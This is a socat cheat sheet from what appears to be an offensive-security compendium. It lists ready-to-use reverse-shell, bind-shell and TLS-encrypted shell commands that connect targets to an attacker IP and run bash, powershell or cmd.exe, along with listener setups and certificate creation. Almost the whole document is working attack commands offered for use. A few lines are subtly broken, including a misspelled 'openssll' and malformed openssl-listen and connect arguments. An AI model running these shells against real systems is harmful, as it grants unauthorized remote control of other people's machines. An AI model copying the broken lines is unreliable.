killchain-compendium/Reverse Shells/socat.md

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# socat cheat sheet
## Reverse Shell
### reverse shell listener
```sh
socat tcp-l:<port> -
```
```sh
socat TCP-L:<PORT> file:`tty`,raw,echo=0
```
### windows target
```sh
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
```
### linux target
```sh
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```
## Bind Shell
### generic connect
```sh
socat TCP:<TARGET-IP>:<TARGET-PORT> -
```
### windows target listener
```sh
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
```
### linux target listener
```sh
socat TCP-L:<PORT> EXEC:"bash -li"
```
## Connect from statically compiled socat to LHOST
Binary is inside this dir
```sh
socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```
## Encrypted Shell
### create key + cert
```sh
openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
```
### create pem file
```sh
cat shell.key shell.crt > shell.pem
```
### reverse shell listener
```sh
socat openssl-listen:<port>,cert=shell.pem,verify=0 -
```
```sh
socat openssl-listen:<port>,cert=shell.pem,verify=0 file:`tty`,raw,echo=0
```
### connecting shell on target to listener
```sh
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:/bin/bash
```
```sh
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane
```
### encrypted bind shell on windows listening
Target:
```sh
socat openssl-listen:<local-ip>:<local-port>,verify=0 exec:cmd.exe,pipes
```
### encrypted bind shell attacker connecting
```sh
socat openssl:<port>,cert=shell.pem,verify=0 -
```